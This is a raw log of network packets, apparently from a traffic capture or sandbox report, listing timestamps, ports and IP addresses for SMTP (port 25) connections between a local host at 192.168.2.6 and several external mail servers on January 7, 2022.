Jan 7, 2022 15:44:07.480149031 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.480181932 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:07.480299950 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.480329037 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:07.501879930 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.501925945 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.501954079 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.501980066 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.502001047 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.502007008 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.502033949 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.502038956 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.502058983 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.502063990 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.502073050 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.502088070 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.502091885 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.502099991 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.502120018 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.502135038 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.502146959 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.502165079 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.502173901 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.502197027 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.502199888 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.502228975 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.502228975 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.502254009 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.502264023 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.502279997 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.502281904 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.502310991 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.502326965 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.502336025 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.502345085 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.502361059 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.502365112 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.502373934 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.502399921 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.502429962 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.508243084 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.508285999 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.508404970 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.517040968 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.517074108 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.517091036 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.517208099 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:07.517273903 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:07.517818928 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:07.518393040 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.519913912 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:07.529032946 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.529073000 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.529103994 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.529130936 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.529145002 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.529155970 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.529181004 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.529182911 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.529192924 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.529210091 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.529216051 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.529236078 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.529247999 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.529266119 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.529270887 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.529293060 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.529308081 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.529319048 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.529336929 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.529346943 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.529351950 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.529372931 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.529373884 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.529397964 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.529398918 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.529426098 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.529428005 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.529455900 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.529481888 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.529515982 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.529541016 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.529567003 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.529588938 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.529594898 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.529599905 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.529623032 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.529669046 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.529670000 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.529696941 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.529721975 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.529737949 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.529747963 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.529766083 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.529767036 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.529786110 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.529803991 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.529822111 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.529926062 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.529951096 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.529978037 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.530014038 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.530045033 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.530046940 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.530054092 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.530066967 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.530076027 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.530102968 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.530147076 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.530164957 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.530211926 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.530239105 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.530262947 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.530268908 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.530292988 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.530327082 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.535052061 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.535093069 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.535124063 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.535140991 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.535150051 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.535181999 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.535197973 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.535221100 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.556224108 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.556267977 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.556329966 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.556334972 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.556358099 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.556385994 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.556401968 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.556436062 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.556456089 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.556608915 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.556638002 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.556663990 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.556689978 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.556724072 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.556752920 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.556761026 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.556766987 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.556792021 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.556818008 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.556835890 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.556894064 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.556905985 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.556912899 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.556934118 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.556963921 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.556976080 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.556992054 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.557013988 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.557015896 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.557033062 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.557043076 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.557095051 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.557116032 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.557120085 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.557130098 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.557148933 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.557173014 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.557194948 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.557229996 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.557243109 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.557245970 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.557270050 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.557296991 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.557322979 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.557341099 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.557364941 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.557488918 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.557517052 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.557542086 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.557568073 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.557595015 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.557595968 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.557619095 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.557620049 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.557634115 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.557661057 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.557689905 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.557692051 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.557717085 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.557744026 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.557758093 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.557770014 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.557796001 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.557801008 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.557842016 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.557843924 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.557862997 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.557872057 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.557877064 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.557897091 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.557904005 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.557924032 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.557929993 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.557950974 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.557967901 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.557979107 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.558003902 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.558007002 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.558022976 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.558032990 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.558060884 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.558079958 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.558088064 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.558098078 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.558115005 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.558116913 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.558125973 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.558142900 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.558151007 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.558182955 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.558213949 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.558296919 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.558324099 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.558351040 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.558376074 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.558376074 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.558398008 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.558418036 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.558444977 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.558446884 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.558474064 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.558501005 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.558528900 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.558530092 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.558548927 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.558552027 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.558568001 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.558587074 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.558727026 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.558768034 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.558793068 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.558819056 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.558846951 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.558871031 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.558875084 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.558900118 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.558909893 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.558929920 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.558939934 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.558967113 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.558993101 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.559036970 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.559060097 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.559062004 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.559089899 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.559117079 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.559144020 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.559155941 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.559171915 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.559189081 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.559199095 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.559218884 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.559247971 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.559273005 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.561613083 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.561640024 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.561709881 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.561737061 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.561764956 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.561768055 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.561789989 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.561793089 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.561816931 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.561839104 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.561845064 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.561861038 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.561878920 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.561891079 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.561913013 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.582906008 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.582931042 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.582953930 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.582979918 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.583010912 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.583071947 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.583100080 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.583153009 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.583467007 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.583594084 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.583616018 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.583638906 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.583684921 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.583715916 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.583746910 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.583771944 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.583794117 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.583817005 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.583853960 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.583867073 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.583889961 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.584548950 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.584573030 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.584587097 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.584642887 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.584686995 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.584929943 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.584978104 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.585001945 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.585026026 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.585047960 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.585063934 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.585069895 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.585091114 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.585107088 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.585119009 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.585140944 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.585571051 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.585594893 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.585616112 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.585638046 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.585692883 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.585711002 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.585711002 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.585730076 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.585735083 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.585757017 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.585779905 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.585802078 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.585818052 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.585824966 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.585843086 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.585860014 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.585876942 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.585891962 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.585922003 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.585946083 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.585967064 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.585989952 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.585997105 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.586019039 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.586034060 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.586047888 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.586047888 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.586071014 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.586227894 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.586241007 CET	50005	25	192.168.2.6	108.177.119.26
